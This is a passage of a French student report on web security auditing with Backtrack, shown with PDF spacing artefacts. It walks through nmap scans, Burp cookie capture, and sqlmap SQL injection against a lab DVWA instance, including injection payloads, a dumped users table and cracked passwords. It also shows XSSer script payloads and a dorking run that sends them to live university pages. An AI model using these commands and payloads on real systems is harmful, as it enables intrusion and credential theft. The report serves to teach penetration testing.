Check i n g h t t p : / / s w i f t . p r i sm . u v s q . f rG e n e r i c D e t e c t i o n r e s u l t s :The s i t e h t t p : / / s w i f t . p r i sm . u v s q . f r s eems t o be b e h i n d a WAFRea son : The s e r v e r h e a d e r i s d i f f e r e n t when an a t t a c k i s d e t e c t e d .The s e r v e r h e a d e r for a no rma l r e s p o n s e i s ”Happstack / 6 . 0 . 3 ” , while t h e s e r v e r h e a d e r a r e s p o n s e t o an

a t t a c k i s ”Apache /2 . 2 . 16 ( Debian ) . ” ,Number o f r e q u e s t s : 10

COLLECTE D’INFORMATIONS page 18 sur 41

Page 22: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Identification des vulnerabilites

La deuxieme partie principale de notre methodologie concerne l’identification des vulnerabilites en utilisant les in-formations trouvees jusqu’a maintenant. Nous allons utiliser les outils presents dans Backtrack pour voir commenton peut scanner et identifier les failles de maniere automatique. On va effectuer les tests sur la Damn VulnerableWeb Application (DVWA) disponible dans le cadre de notre laboratoire de test, pour mettre en evidence les plusimportantes failles de securite des applications Web.

Nmap

Premierement il faut exploiter les informations deja trouvees : on a identifie quelques services avec Nmap dans lasection de reconnaissance active, le pas suivant est de verifier quelles sont les vulnerabilites pour leurs versions ; parexemple, on a vu qu’on a un serveur Apache 2.2.16 sur le port 2401 du serveur 193.51.25.208 (swift.prism.uvsq.fr), doncune simple recherche avec Google pour cette version nous va montrer que les developpeurs d’Apache on fait une pageavec les vulnerabilites pour les versions de leur serveur : http://httpd.apache.org/security/vulnerabilities_22.html. Une faille d’un service est en generale specifique pour un certain systeme d’exploitation, meme pour unecertaine architecture de la machine, il est donc conseille de trouver toutes ces informations pour avoir plus de chancesde trouver une vraie faille ou ≪exploit≫.

Pour faire l’identification des failles de securite d’une application Web, il faut d’abord trouver la cible de nos tests.On demarre la machine Backtrack et la machine DVWA avec VirtualBox et dans Backtrack on s’assure qu’elle est enligne en faisant un scan d’identificaton d’hotes actifs avec Nmap :

r o o t@ b t : ˜# nmap −sn −oG − 192.168.1.0/24# Nmap 5.61TEST4 scan i n i t i a t e d Sun May 6 14:57:48 2012 as : nmap −sn −oG − 192.168.1.0/24Hos t : 1 9 2 . 1 6 8 . 1 . 2 ( t h eGoa t . xxx ) S t a t u s : UpHos t : 1 9 2 . 1 6 8 . 1 . 3 ( meph i s t o− l a p t o p . home ) S t a t u s : UpHos t : 1 9 2 . 1 6 8 . 1 . 4 ( dvwa . home ) S t a t u s : UpHos t : 1 92 . 168 . 1 . 254 ( g e s t i o n b b o x . l a n . home ) S t a t u s : Up# Nmap done at Sun May 6 14:57:50 2012 −− 256 IP addresses (4 hosts up) scanned in 2.53 seconds

La machine 192.168.1.4 (dvwa.home) est en ligne. Avec Nmap on fait un scan de type TCP SYN pour voir si le serveurApache est disponible sur cette machine :

r o o t@ b t : ˜# nmap −T4 −−open 192.168.1 .4

S t a r t i n g Nmap 5 .61TEST4 ( h t t p : / / nmap . o r g ) a t 2012−05−06 15 :04 CESTNmap s ca n r e p o r t for dvwa . home ( 1 9 2 . 1 6 8 . 1 . 4 )Hos t i s up (0 .00072 s l a t e n c y ) .Not shown : 995 c l o s e d p o r t sPORT STATE SERVICE21/ t c p open f t p22/ t c p open s s h80/ t c p open h t t p443/ t c p open h t t p s3306/ t c p open mysq lMAC Add r e s s : 0 8 : 0 0 : 2 7 :B2 : 1 6 : 0A ( Cadmus Computer S y s t ems )

Nmap done : 1 IP a d d r e s s (1 h o s t up ) s c a nn ed i n 0 .49 s e c o n d s

Avec l’option open Nmap nous montre seulement les ports ouverts. Le serveur HTTP est disponible sur le port 80,donc on ouvre une fenetre dans un navigateur comme Firefox sous Backtrack et on accede l’adresse : 192.168.1.4 :80.L’application DVWA est disponible, mais avant de se connecter sur la premiere page, comme montre dans la section??, on va utiliser un proxy d’interception.

IDENTIFICATION DES VULNERABILITES page 19 sur 41

Page 23: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Proxy d’interception

Un proxy d’interception est un logiciel qui constitue un intermediaire entre le navigateur Web et la connexion vers unreseaux cible. Les connexions etablies par le navigateur sont rediriges a travers le proxy permettant d’avoir le controletotal sur le trafic des requetes : on peut manipuler les requetes HTTP avant qu’elles ne soient envoyees au serveurWeb, on peut modifier une requete et la repeter avec des valeurs des champs modifies, on peut comparer deux reponsesdu serveur pour voir les differences suite a deux requetes presque identiques, et ainsi de suite.

Burp Suite - Proxy

Burp Suite est un outil dans Backtrack qui offre un proxy d’interception utile pour les tests de securite des applicationsWeb. Ce proxy permet d’intercepter le trafic HTTP/HTTPS dans les deux directions, d’analyser tout type de contenu,de modifier des requetes et de les renvoyer (manuellement ou automatiquement en definissant). Le proxy Burp peutetre utilise pour effectuer des interceptions de cookie, ou des attaques comme les injections SQL et les detournementde session. Il existe une documentation detaille sur le site officiel : http://www.portswigger.net/burp/help/proxy.html

Ce qui est important en premier lieu, pour les tests qu’on effectue sur DVWA c’est de capturer les cookies generes.En effet, l’application demande un login/mot de passe pour y avoir l’acces. C’est donc dans cette perspective qu’il estutile de se connecter a travers le proxy Burp a l’application DVWA afin d’intercepter ces cookies pour les reutiliserdans nos tests plus tard.

Il existe deux modes specifiques a Burp :

– L’interception a ≪on≫ : Burp Suite attend une action sur la requete a envoyer : ≪forward≫, ≪drop≫, action parti-culieres (envoie vers le repeteur, scanner, etc.). C’est tres utile si on veut par exemple modifier une requete avantde l’envoyer pour tester.

– L’interception a ≪off≫ : Burp Suite va capturer le trafic en mode passif, c’est-a-dire qu’aucune action n’est demandeea l’utilisateur.

D’abord avant de se connecter a travers le proxy Burp, il faudra regler le navigateur Mozilla pour qu’il utilise notreproxy en specifiant l’adresse 127.0.0.1 et le port 8080 (le port par defaut de Burp Suite) dans le menu ”Edit -> Preferences -> Advanced -> Network -> Settings -> Manual proxy configuration”. Une fois ces parametrageseffectues on lance le proxy Burp (en mode interception a ≪off≫), on lance le navigateur et on accede a DVWA avecles informations admin/password.

Figure 2 – Interception de cookies avec le proxy Burp

IDENTIFICATION DES VULNERABILITES page 20 sur 41

Page 24: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

On remarque dans le tableau l’historique des requetes envoyees/recu par le navigateur avec des informations concernantle serveur cible et le numero de port, la methode HTTP, l’URL, si la demande contient les parametres ou a ete modifiemanuellement, le code d’etat HTTP de la reponse, la taille de la reponse en octets, le type MIME de la reponse, letype de fichier de la ressource demandee, le titre de la page HTML, si SSL est utilise, l’adresse IP distante, les cookiesdefinis par le serveur, et quand la requete a ete envoye.

En observant les parametres envoyes par le navigateur au serveur, on extrait le cookie qui nous servira pour les tests.

IDENTIFICATION DES VULNERABILITES page 21 sur 41

Page 25: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

SQL Injection

L’injection du code est peut-etre la plus populaire vulnerabilite sur les sites Web aujourd’hui, etant classifiee commele premier risque de securite pour les applications Web, selon le classement des risques de securite maintenu parl’organisation OWASP : https://www.owasp.org/index.php/Top_10_2010-Main. L’injection du code SQL fait partiede cette classe des vulnerabilites (il existe des injection des commandes systemes, de requetes LDAP etc.), et elleconsiste de modifier les parametres d’une requete SQL envoyes au serveur Web, en essayant de faire le serveur executerla requete malformee, qui contient des commandes SQL en plus.

Figure 3 – SQL injection

sqlmap

Dans Backtrack il existe plusieurs outils pour faire les injections, la plupart d’entre eux specialises pour un certaintype de serveur SQL (MSSQL, Oracle, MySQL, etc.). sqlmap est un outil complexe qui supporte tous ces types debase de donnees et encore plus, et qui connaıt plusieurs techniques d’injection SQL.

Avant de faire une injection SQL avec sqlmap, il faut capturer un cookie pour qu’on puisse se connecter a l’applicationWeb et la scanner. On va utiliser un proxy d’interception, comme montre dans la section precedente. Il faut aprestrouver un champ qui est vulnerable a une injection SQL. On le trouve simplement dans le menu ≪SQL Injection≫ duDVWA et on l’execute avec la valeur ≪1≫ :

IDENTIFICATION DES VULNERABILITES page 22 sur 41

Page 26: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

L’application nous montre le nom et prenom d’un utilisateur qui a l’identifiant ≪1≫. Plus important, dans la barred’adresses on voit que notre valeur est envoyee avec une methode GET dans le champ ≪id=1≫. On sauvegarde cetteadresse avec les parametres GET aussi.

Maintenant qu’on a toutes les informations necessaires (le cookie capture et la requete vulnerable), on se connecte al’application Web avec sqlmap, afin de voir si on trouve des failles d’injection SQL. On utilise la commande :

r o o t@ b t : / p e n t e s t / d a t a b a s e / s q lmap# ./ sqlmap . py −u ”h t tp ://192.168.1 .4/ v u l n e r a b i l i t i e s / s q l i /? id=1&Submit=Submit” −−cookie=”PHPSESSID=764ri9hjpo9dih3sph6qkace i2 ; se cur i t y=low” −−dbs

[ . . . ]

[ 0 0 : 3 5 : 4 2 ] [ INFO ] u s i n g ’/ p e n t e s t / d a t a b a s e / s q lmap / o u t p u t /192 . 168 . 1 . 4/ s e s s i o n ’ a s s e s s i o n f i l e[ 0 0 : 3 5 : 4 2 ] [ INFO ] t e s t i n g c o n n e c t i o n t o t h e t a r g e t u r l[ 0 0 : 3 5 : 4 3 ] [ INFO ] t e s t i n g i f t h e u r l i s s t a b l e , wait a f ew s e c o n d s[ 0 0 : 3 5 : 4 4 ] [ INFO ] u r l i s s t a b l e[ 0 0 : 3 5 : 4 4 ] [ INFO ] t e s t i n g i f GET pa r am e t e r ’ i d ’ i s d ynami c[ . . . ][ 0 0 : 3 5 : 5 6 ] [ INFO ] GET pa r am e t e r ’ i d ’ i s ’MySQL UNION qu e r y (NULL ) − 1 t o 10 co l umns ’ i n j e c t a b l eGET p a r am e t e r ’ i d ’ i s v u l n e r a b l e . Do you want t o keep t e s t i n g t h e o t h e r s ( i f any ) ? [ y/N ] y

Nous avons fourni comme options l’URL a exploiter trouve en-dessus et le cookie necessaire pour se connecter entant que utilisateur a l’application Web. Nous avons egalement donne l’option –dbs qui va nous montrer les basede donnees disponibles sur le serveur MySQL si l’injection a reussit. On voit que sqlmap nous dit qu’il a trouve unparametre vulnerable et nous demande si on veut continuer tester. Normalement nous nous arretons ici dans cettepartie d’identification de vulnerabilites, mais a titre d’exemple nous allons continuer pour voir les possibilites de sqlmap- on a ecrit ≪y≫ pour confirmer.

IDENTIFICATION DES VULNERABILITES page 23 sur 41

Page 27: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

[ . . . ][ 0 0 : 3 6 : 3 8 ] [WARNING ] GET p a r am e t e r ’ Submit ’ i s n o t i n j e c t a b l esq lmap i d e n t i f i e d t h e f o l l o w i n g i n j e c t i o n p o i n t s w i t h a t o t a l o f 153 HTTP( s ) r e q u e s t s :−−−P l a c e : GETPa r ame t e r : i d

Type : e r r o r −ba s edT i t l e : MySQL >= 5.0 AND e r r o r −ba s ed − WHERE o r HAVING c l a u s ePa y l o a d : i d=1’ AND (SELECT 6787 FROM(SELECT COUNT(∗ ) ,CONCAT(0 x3a756c6e3a , ( SELECT (CASE WHEN (6787=6787)

THEN 1 ELSE 0 END) ) ,0 x3 a 6 f 7 9 7 23 a ,FLOOR(RAND( 0 ) ∗2) ) x FROM INFORMATION SCHEMA . CHARACTER SETS GROUPBY x ) a ) AND ’ jTyx ’= ’ jT yx&Submi t=Submi t

Type : UNION qu e r yT i t l e : MySQL UNION qu e r y (NULL) − 2 co l umn sPa y l o a d : i d=1’ UNION ALL SELECT CONCAT(0 x3a756c6e3a , 0 x4c4c7a54494b6b796474 , 0 x 3 a 6 f 7 9 7 2 3 a ) , NULL# AND ’

QxTJ’= ’QxTJ&Submit=Submit

Type : AND/OR t ime−ba s ed b l i n dT i t l e : MySQL > 5 . 0 . 1 1 AND t ime−ba s ed b l i n dPa y l o a d : i d=1’ AND SLEEP ( 5 ) AND ’RpVw ’= ’RpVw&Submi t=Submi t

−−−

[ 0 0 : 3 6 : 3 8 ] [ INFO ] t h e back−end DBMS i s MySQL

web a p p l i c a t i o n t e c h n o l o g y : PHP 5 . 3 . 1 , Apache 2 . 2 . 1 4back−end DBMS : MySQL 5 . 0[ 0 0 : 3 6 : 3 8 ] [ INFO ] f e t c h i n g d a t a b a s e namesa v a i l a b l e d a t a b a s e s [ 6 ] :[ ∗ ] c d c o l[ ∗ ] dvwa[ ∗ ] i n f o r m a t i o n s c h em a[ ∗ ] mysq l[ ∗ ] phpmyadmin[ ∗ ] test

[ 0 0 : 3 6 : 3 9 ] [ INFO ] Fe t ch ed d a t a l o g g e d t o t e x t f i l e s u nd e r ’/ p e n t e s t / d a t a b a s e / s q lmap / o u t p u t / 1 9 2 . 1 6 8 . 1 . 4 ’

[ ∗ ] s h u t t i n g down a t 00 : 36 : 39

Le parametre ≪Submit≫ n’est pas injectable, mais l’injection SQL a ete un succes et on observe qu’il existe plusieursbases de donnees, dont la plus interessante est bien sur ≪dvwa≫. On execute a nouveau sqlmap avec deux nouvellesoptions, ≪-D≫ pour selectionner seulement la base de donnees ≪dvwa≫ et l’option ≪–tables≫ pour voir quels sont lestables disponibles dans ≪dvwa≫ :

r o o t@ b t : / p e n t e s t / d a t a b a s e / s q lmap# ./ sqlmap . py −u ”h t tp ://192.168.1 .4/ v u l n e r a b i l i t i e s / s q l i /? id=1&Submit=Submit” −−cookie=”PHPSESSID=764ri9hjpo9dih3sph6qkace i2 ; se cur i t y=low” −D dvwa −−t a b l e s

[ . . . ]

web a p p l i c a t i o n t e c h n o l o g y : PHP 5 . 3 . 1 , Apache 2 . 2 . 1 4back−end DBMS : MySQL 5 . 0[ 0 0 : 3 7 : 2 5 ] [ INFO ] f e t c h i n g t a b l e s for d a t a b a s e : dvwaDa t a b a s e : dvwa[ 2 t a b l e s ]+−−−−−−−−−−−+| gu e s t b o o k || u s e r s |+−−−−−−−−−−−+

[ 0 0 : 3 7 : 2 5 ] [ INFO ] Fe t ch ed d a t a l o g g e d t o t e x t f i l e s u nd e r ’/ p e n t e s t / d a t a b a s e / s q lmap / o u t p u t / 1 9 2 . 1 6 8 . 1 . 4 ’

[ ∗ ] s h u t t i n g down a t 00 : 37 : 25

La table qu’on cherche est ≪users≫, donc on execute sqlmap avec l’option ≪-T≫ pour selectionner une seule table etl’option ≪–dump≫ pour enregistrer toute cette table sur le disque :

r o o t@ b t : / p e n t e s t / d a t a b a s e / s q lmap# ./ sqlmap . py −u ”h t tp ://192.168.1 .4/ v u l n e r a b i l i t i e s / s q l i /? id=1&Submit=Submit” −−cookie=”PHPSESSID=764ri9hjpo9dih3sph6qkace i2 ; se cur i t y=low” −D dvwa −T users −−dump

[ . . . ]

web a p p l i c a t i o n t e c h n o l o g y : PHP 5 . 3 . 1 , Apache 2 . 2 . 1 4back−end DBMS : MySQL 5 . 0[ 0 0 : 3 7 : 5 7 ] [ INFO ] f e t c h i n g co l umn s for t a b l e ’ u s e r s ’ on d a t a b a s e ’ dvwa ’[ 0 0 : 3 7 : 5 7 ] [ INFO ] f e t c h i n g e n t r i e s for t a b l e ’ u s e r s ’ on d a t a b a s e ’ dvwa ’[ 0 0 : 3 7 : 5 7 ] [ INFO ] a n a l y z i n g t a b l e dump for p o s s i b l e p a s swo r d h a s h e sr e c o g n i z e d p o s s i b l e p a s swo r d h a s h e s i n co lumn ’ pa s swo rd ’ . Do you want t o c r a c k them v i a a d i c t i o n a r y −ba s ed

a t t a c k ? [Y/n/q ] Y

IDENTIFICATION DES VULNERABILITES page 24 sur 41

Page 28: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

sqlmap nous a demande si on veut essayer de craquer les mots de passe avec son propre fichier dictionnaire, on aaccepte et il a reussit aussi, a cause des mots de passe faibles choisis par les utilisateurs.

[ 0 0 : 3 8 : 0 2 ] [ INFO ] u s i n g hash method ’ md5 g e n e r i c p a s sw d ’what d i c t i o n a r y do you want t o u s e ?[ 1 ] d e f a u l t d i c t i o n a r y f i l e ’/ p e n t e s t / d a t a b a s e / s q lmap / t x t / w o r d l i s t . t x t ’ ( p r e s s E n t e r )[ 2 ] cu s tom d i c t i o n a r y f i l e[ 3 ] f i l e w i t h l i s t o f d i c t i o n a r y f i l e s

[ 0 0 : 3 8 : 0 8 ] [ INFO ] u s i n g d e f a u l t d i c t i o n a r y[ 0 0 : 3 8 : 0 8 ] [ INFO ] l o a d i n g d i c t i o n a r y f r om ’/ p e n t e s t / d a t a b a s e / s q lmap / t x t / w o r d l i s t . t x t ’do you want t o u s e common pa s swo r d s u f f i x e s ? ( s l ow ! ) [ y/N ] y[ 0 0 : 3 8 : 1 3 ] [ INFO ] s t a r t i n g d i c t i o n a r y −ba s ed c r a c k i n g ( md5 g e n e r i c p a s s w d )[ 0 0 : 3 8 : 3 4 ] [ INFO ] c r a c k e d p a s swo r d ’ abc123 ’ for u s e r ’ go rdonb ’[ 0 0 : 3 8 : 4 4 ] [ INFO ] c r a c k e d p a s swo r d ’ c h a r l e y ’ for u s e r ’ 1337 ’[ 0 0 : 3 9 : 0 4 ] [ INFO ] c r a c k e d p a s swo r d ’ l e t m e i n ’ for u s e r ’ pab l o ’[ 0 0 : 3 9 : 1 4 ] [ INFO ] c r a c k e d p a s swo r d ’ pa s swo rd ’ for u s e r ’ admin ’[ 0 0 : 3 9 : 1 4 ] [ INFO ] p o s t p r o c e s s i n g t a b l e dumpDa t a b a s e : dvwaTab l e : u s e r s[ 5 e n t r i e s ]+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−−−−+−−−−−−−−−−−+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−+−

| a v a t a r | f i r s t n a m e | l a s t n am e | pa s swo r d |u s e r | u s e r i d |

+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−−−−+−−−−−−−−−−−+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−+−

| dvwa / h a c k a b l e / u s e r s / admin . j p g | admin | admin | 5 f 4 d c c 3 b 5 a a 7 6 5 d 61 d8 32 7d e b 88 2 c f 9 9 ( pa s swo r d ) |admin | 1 |

| dvwa / h a c k a b l e / u s e r s / go r d onb . j p g | Gordon | Brown | e9 9 a 18 c4 28 cb38d5 f 2 6 085367 8922 e 0 3 ( abc123 ) |go r d onb | 2 |

| dvwa / h a c k a b l e / u s e r s /1337 . j p g | Hack | Me | 8 d3533d75 a e2 c3 966d7 e0d4 f c c 6 9 216b ( c h a r l e y ) |1337 | 3 |

| dvwa / h a c k a b l e / u s e r s / p ab l o . j p g | Pab l o | P i c a s s o | 0 d 1 0 7 d 0 9 f 5 b b e 4 0 c a d e 3 d e 5 c 7 1 e 9 e9 b7 ( l e t m e i n ) |p a b l o | 4 |

| dvwa / h a c k a b l e / u s e r s / sm i t h y . j p g | Bob | Smi th | 5 f 4 d c c 3 b 5 a a 7 6 5 d 61 d8 32 7d e b 88 2 c f 9 9 ( pa s swo r d ) |sm i t h y | 5 |

+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−−−−+−−−−−−−−−−−+−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−+−

[ 0 0 : 3 9 : 1 4 ] [ INFO ] Tab l e ’ dvwa . u s e r s ’ dumped t o CSV f i l e ’/ p e n t e s t / d a t a b a s e / s q lmap / o u t p u t /192 . 168 . 1 . 4/ dump/dvwa / u s e r s . cs v ’

[ 0 0 : 3 9 : 1 4 ] [ INFO ] Fe t ch ed d a t a l o g g e d t o t e x t f i l e s u nd e r ’/ p e n t e s t / d a t a b a s e / s q lmap / o u t p u t / 1 9 2 . 1 6 8 . 1 . 4 ’

[ ∗ ] s h u t t i n g down a t 00 : 39 : 14

IDENTIFICATION DES VULNERABILITES page 25 sur 41

Page 29: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

XSS - Cross-site scripting

Le ≪cross-site scripting≫ (abreviation XSS) est l’une de plus frequentes failles dans les applications Web d’aujourd’hui,elle en la deuxieme position, apres les failles d’injection SQL, dans le classement OWASP. XSS est une attaque quicible le client d’un site, et pas ses serveurs Web, dans une premiere phase. A la base, il consiste de l’injection du codede l’adversaire dans une page d’un site, qui sera ensuite accede par la victime.

Figure 4 – XSS non permanent

Comme on peut observer dans la figure, l’adversaire doit d’abord trouver un moyen pour injecter du code dans unepage qu’il recoit d’un site, donc il doit chercher des pages du site qui lui envoyent les donnees qu’il a ecrit sur la page.Par exemple, beaucoup de sites offrent des pages de recherche de documents sur leur site, et souvent elles affichentaussi la chaıne de caracteres que l’utilisateur a introduit. Si cette chaıne n’est pas bien filtree avant d’etre affiche surla page, l’adversaire peut introduire du code Javascript qui sera execute une fois que la page a ete telecharge parson navigateur. Mais l’insertion du code dans ses propres pages ne l’aide pas beaucoup, donc l’adversaire va chercherde convaincre une victime de visiter sa page modifiee, par les moyens de l’ingenierie sociale, en se basant sur lesinformations qu’il a sur la victime. Quand la victime visitera la page, le code Javascript s’executera et, par exemple,l’adversaire peut recuperer le cookie du client sur le site et usurper son identite. L’attaque decrite ici s’appelle le ≪XSSnon permanent≫ ou ≪reflete≫.

Il existe un autre moyen de profiter de failles XSS trouvees sur un site, dont le code sera inclus de facon permanentedans le site. Si le filtrage des donnees affichees aux clients n’est pas bien fait, le code malveillant peut etre stocke dansla base de donnees du site et peut affecter tous les clients qui vont voir ces donnees dans les pages du site.

Par exemple, beaucoup des sites offrent une section de commentaires des articles publies. Si l’adversaire arrive a injecterdu code dans un commentaire, tous les clients qui vont voir cette page vont executer le code dans leur navigateur Web.Cette attaque, appele ≪XSS permanent≫ ou ≪stocke≫, et encore plus dangereux que le precedent, puisque l’adversairen’a meme pas besoin de convaincre un client de visiter la page, et tous les clients vont etre directement affectes.

IDENTIFICATION DES VULNERABILITES page 26 sur 41

Page 30: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Figure 5 – XSS permanent

XSSer

Pour tester si une application Web est vulnerable aux attaques XSS, il existe plusieurs outils dans Backtrack 5, donton va choisir XSSer. Notre application DVWA possede une page appelee ≪XSS reflected≫ dans le menu a gauche, ouon trouve un formulaire avec un champ ≪name≫, qui une fois envoye nous montre le message de bienvenue avec lenom rempli dans le champ :

On execute XSSer avec l’URL qui contient ce champ (l’option -u), pour tester s’il est bien filtre, et avec le cookie denotre session, capture come decrit dans la section [?].

IDENTIFICATION DES VULNERABILITES page 27 sur 41

Page 31: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

r o o t@ b t : / p e n t e s t /web/ x s s e r# ./ xsser −u ” h t tp ://192.168.1 .4/ v u l n e r a b i l i t i e s / x s s r /?name=” −−cookie=”PHPSESSID=aqj721u6hue3jlgm1lg1ooimn1 ; se cur i t y=low” −−auto

===========================================================================

XSSer v1 . 6 ( b e t a ) : ”Grey Swarm ! ” − 2011/2012 − (GPLv3 . 0 ) −> by p s y

===========================================================================T e s t i n g [ XSS f rom URL ] i n j e c t i o n s . . . l o o k s l i k e yo u r t a r g e t i s good d e f i n e d ; )===========================================================================

HEAD a l i v e ch e ck for t h e t a r g e t : ( h t t p : / / 19 2 . 1 68 . 1 . 4 / v u l n e r a b i l i t i e s / x s s r /? name=) i s OK(200) [AIMED ]

===========================================================================Ta r g e t : h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / v u l n e r a b i l i t i e s / x s s r /?name= −−> 2012−05−19 18 : 40 : 07 . 717348===========================================================================

−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[− ] Ha s h i n g : e0 5b7 e5 740485 c2 7 f b c7 c 4 2 a 841b d1d4[+] T r y i n g : h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / v u l n e r a b i l i t i e s / x s s r /? name=/”><SCRIPT>a l e r t ( ’

e05b7e5740485c27fbc7c42a841bd1d4 ’ )</SCRIPT>[+] Browser Support : [ IE7 . 0 | IE6 . 0 |NS8.1−IE ] [NS8.1−G|FF2 . 0 ] [O9 . 0 2 ][+] Checking : u r l at tack with ”><SCRIPT>a l e r t ( ’PAYLOAD ’ )</SCRIPT > . . . ok

[ . . . ]

===========================================================================

Mosqu i t o ( s ) l a n d e d !

===========================================================================[ ∗ ] F i n a l R e s u l t s :===========================================================================

− I n j e c t i o n s : 98− F a i l e d : 83− S u c e s s f u l l : 15− Accu r : 15 %

===========================================================================[ ∗ ] L i s t o f p o s s i b l e XSS i n j e c t i o n s :===========================================================================

[ I ] Ta r g e t : h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / v u l n e r a b i l i t i e s / x s s r /? name=[+] I n j e c t i o n : h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / v u l n e r a b i l i t i e s / x s s r /?name=/”><SCRIPT>a l e r t ( ’

e05b7e5740485c27fbc7c42a841bd1d4 ’ )</SCRIPT>[− ] Method : xss[− ] Browsers : [ IE7 . 0 | IE6 . 0 |NS8.1−IE ] [ NS8.1−G|FF2 . 0 ] [O9 . 0 2 ]−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−

[ . . . ]

Comme on peut voir, XSSer possede ses propre ≪payloads≫ (la charge utile pour faire le XSS), qu’on a specifie qu’ilutilise avec l’option –auto. Il compose les requetes HTTP en utilisant ces charges utiles et l’URL qu’on lui a donne audebut, et il nous dit ceux qui ont reussi. Il peut parfois donner des ≪faux positifs≫, donc les resultats sont juste unindice que le parametre ≪name≫ de la requete HTTP est vulnerable a XSS.

XSSer a encore plus des options pour encoder la charge utile pour contourner les mecanismes d’echappement descaracteres sur un site, pour creer des images ou animations Flash qui contiennent du code malveillant et ainsi de suite,mais une option interessante est d’utiliser une technique appelee ≪dorking≫ pour tester une suite des sites trouveedans les resultats d’un moteur de recherche :

IDENTIFICATION DES VULNERABILITES page 28 sur 41

Page 32: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

r o o t@ b t : / p e n t e s t /web/ x s s e r# ./ xsser −d ” inanchor : uvsq . f r ? index . php? id=”===========================================================================

XSSer v1 . 6 ( b e t a ) : ”Grey Swarm ! ” − 2011/2012 − (GPLv3 . 0 ) −> by p s y

===========================================================================T e s t i n g [ XSS f rom Dork ] i n j e c t i o n s . . . good l u c k ; )===========================================================================

HEAD a l i v e ch e ck for t h e t a r g e t : ( h t t p : / /www . p r i sm . u v s q . f r / i n d e x . php? i d =125) i s OK(200) [AIMED ]

HEAD a l i v e ch e ck for t h e t a r g e t : ( h t t p : / /www . p r i sm . u v s q . f r / i n d e x . php? i d =127) i s OK(200) [AIMED ]

===========================================================================Ta r g e t : h t t p : / /www . p r i sm . u v s q . f r / i n d e x . php? i d=125 −−> 2012−05−19 22 : 35 : 00 . 969286===========================================================================

−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[− ] Ha s h i n g : c f e 4 b b 7 6 c 5 0 1 8 3 6 6 2 c b 0 8 5 3 5 2 f f 7 d 8 f a[+] T r y i n g : h t t p : / /www . p r i sm . u v s q . f r / i n d e x . php? i d=125/”>c f e4bb76c50183662cb085352f f7d8fa[+] Browser Support : [ IE7 . 0 | IE6 . 0 |NS8.1−IE ] [NS8.1−G|FF2 . 0 ] [O9 . 0 2 ][+] Checking : u r l at tack with ”>PAYLOAD . . . f a i l

===========================================================================Ta r g e t : h t t p : / /www . p r i sm . u v s q . f r / i n d e x . php? i d=127 −−> 2012−05−19 22 : 35 : 00 . 969286===========================================================================

